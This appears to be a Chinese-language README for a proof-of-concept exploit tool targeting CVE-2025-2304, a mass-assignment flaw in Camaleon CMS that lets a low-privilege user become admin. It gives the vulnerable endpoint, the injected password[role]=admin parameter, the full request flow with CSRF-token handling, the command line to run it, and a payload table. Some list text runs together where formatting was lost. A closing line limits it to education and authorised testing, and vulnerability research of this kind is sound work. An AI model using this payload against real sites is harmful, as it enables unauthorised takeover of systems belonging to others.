演示CVE-2025-2304的PoC,这是Camaleon CMS中的批量赋值权限提升漏洞,通过在用户资料更新期间向密码参数注入角色属性实现。
本仓库包含一个针对 Camaleon CMS(2.8.1 之前版本)中 Mass Assignment 漏洞的功能性概念验证 (PoC)。该漏洞位于用户管理模块的 updated_ajax 端点,应用程序未能严格过滤 password 参数哈希中的敏感属性。
通过在配置文件更新期间向 password 作用域注入 role 属性,低权限用户可以覆盖自身的权限以获得 admin 状态。
该漏洞源于 Ruby on Rails 控制器中 Strong Parameters 的配置错误。当应用程序处理 AJAX 更新请求时,它错误地允许将 role 键合并到用户对象的属性中:
/admin/users/:id/updated_ajaxpassword[...]password[role]=adminrequests.Session 在身份验证和利用阶段之间维护状态。authenticity_token 并与 X-CSRF-Token 头部同步,满足 Rails 的 AJAX 安全要求。/admin/profile/edit 页面以动态解析 RESTful 端点所需的 user[id]。_method=patch 覆盖以满足应用程序通过 POST 进行资源更新的路由要求。requestsbeautifulsoup4安装依赖:
pip install -r requirements.txt
python3 main.py -u <target_url> --user <username> --password <password>
/admin/login): 使用 user[username] 建立已验证会话。/admin/profile/edit): 提取唯一的 user[id] 和新的 authenticity_token。/admin/users/:id/updated_ajax): 发送注入载荷。该利用程序使用如下结构的 application/x-www-form-urlencoded 载荷:
| 参数 | 值 | 描述 |
|---|---|---|
_method | patch | Rails REST 方法覆盖 |
authenticity_token | [Captured] | 同步的 CSRF 保护 |
password[password] | [NewPassword] | 密码作用域验证所需 |
password[role] | admin | 恶意注入 |
此工具仅供教育目的和授权渗透测试使用。未经授权访问生产系统是违法的。